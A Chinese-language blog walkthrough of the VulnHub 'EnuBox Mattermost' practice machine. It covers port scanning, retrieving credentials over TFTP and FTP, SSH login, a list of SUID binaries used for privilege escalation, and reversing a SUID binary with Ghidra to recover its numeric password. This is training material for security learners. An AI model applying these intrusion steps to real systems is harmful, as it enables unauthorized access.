『VulnHub系列』EnuBox_Mattermost-Walkthrough

靶机地址

难度:初级++

靶机发布日期:2020年1月6日

在这里插入图片描述
靶机描述:Description: The Mattermost chatting system may or may not hold sensitive information. Can you find your way in?

Virtual Machine: VMware

Operation System: Linux Ubuntu 16.04

Format: VMDK

DHCP Service: Enabled

IP Address: Automatically Assigned

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • gobuster
  • nc
  • Ghidra

0x00、信息收集

靶机IP:192.168.1.142

扫描二维码关注公众号,回复: 9523311 查看本文章
nmap -sn 192.168.1.0/24

在这里插入图片描述
端口和服务

nmap -sS -T4 -A -p- 192.168.1.142

在这里插入图片描述

在这里插入图片描述
页面、目录枚举,无果。

gobuster dir -u http://192.168.1.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在这里插入图片描述
FTP允许匿名账户登录,但登录之后文件夹是空的。

3389(XRDP)远程桌面:未发现可利用的地方。

8065端口:运行Mattermost。搜索默认账号密码,发现MySQL账号和密码:默认账号和密码为root/123456;未发现应用系统的默认账号密码。

在这里插入图片描述

Mattermost 是一款易于使用、经过简化且可扩展的团队通信和企业消息传送系统。Mattermost 可以让您的团队在一处完成所有通信,而且随时随地可供搜索和使用。您可以在 QNAP(威联通科技股份有限公司 (QNAP Systems, Inc.) 立足台北) NAS 上创建自己的私人托管聊天解决方案。
Mattermost 应用程序实现了团队在一处完成所有通信,所有人都可以更轻松地在组内或私人聊天内一起讨论问题。Mattermost 的专用和公共频道功能可以实现上述目的,该功能将在本文档的后续部分进行介绍。本文档还介绍了如何安装和开始使用 Mattermost。

首页:访问README.md,提示文件不存在;使用burpsuite抓包,未发现有用的信息。

在这里插入图片描述
之前使用NMAP进行的是TCP扫描,现在换成UDP扫描。

nmap -sU -A -T4 192.168.1.142

TFTP是用来下载远程文件的最简单网络协议,它基于UDP协议而实现。

因为网站首页(80端口)的提示有README.md,所以这里是尝试性的下载一下,结果真的有这个文件,之后获取到一组账号密码Admin:ComplexPassword0!

在这里插入图片描述
进了后台之后肯定是要找一找能不能直接在网页文件里面写入反弹shell的代码或者能不能上传文件,在个人设置里面发现有个上传头像的地方,尝试上传了一个图片ma,结果提示:文件似乎不是有效的图片。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
回到登录后默认的位置,发现了一堆毫无逻辑的聊天记录,里面多次提及zoom这个单词。

最终在Main Menu>>System Console>>PLUGIN(BETA)>>Zoom处找到了相同名称的插件。

在这里插入图片描述

在这里插入图片描述
这个插件最初是未启用的,需要改为启用,否则链接无法复制,并且链接对应的网页也无法访问。

Start and join voice calls, video calls and use screen sharing with your team members via Zoom.

在这里插入图片描述

在这里插入图片描述
最终得到FTP服务的账号密码:ftpuser / ftppassword

登录ftp,下载文件message,里面的内容是Welcome!!!,刚看到这个是有点懵的,折腾了半天就给我看这个?

在这里插入图片描述

在这里插入图片描述
ftp中的users文件夹下有个文件夹名为mattermost,所以推测靶机的系统用户也可能有mattermost。从目前掌握的信息来看,mattermost / Welcome!!!极有可能是SSH的一组账号密码,试了一下成功登录。

要多想想“现在有什么?通过现有的能够做什么?或者还缺少什么?通过什么方式可以得到需要的?”

在这里插入图片描述

0x01、权限提升

2020-01-23更新:新增:basic-linux-privilege-escalation

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

查找sudo权限命令,发现当前用户没有权限执行sudo命令。

sudo -l

SUID权限可执行文件,发现/home/mattermost/Desktop/secret

find / -perm -u=s -type f 2>/dev/null

常见的SUID提权可执行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

在这里插入图片描述
使用strings检查查看一下,也没发现什么东西。

在这里插入图片描述
可执行文件的同目录下还有一个README.md文件,内容是Admin用户的密码,并且说该密码30天后过期。

在这里插入图片描述
接下来使用工具对secret进行逆向

先拷贝secret到本地,本来想直接拷贝到靶机的ftp根目录,结果vsftp和tftp的根目录都没有写入权限,我也不知道为啥……

在这里插入图片描述
还是用nc传吧

在这里插入图片描述
使用Ghidra获得源码。从源码中看出,是将输入的密码(int)与0xf447(16进制)进行比较,相等时进行提权操作。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.

发布了50 篇原创文章 · 获赞 24 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/104096228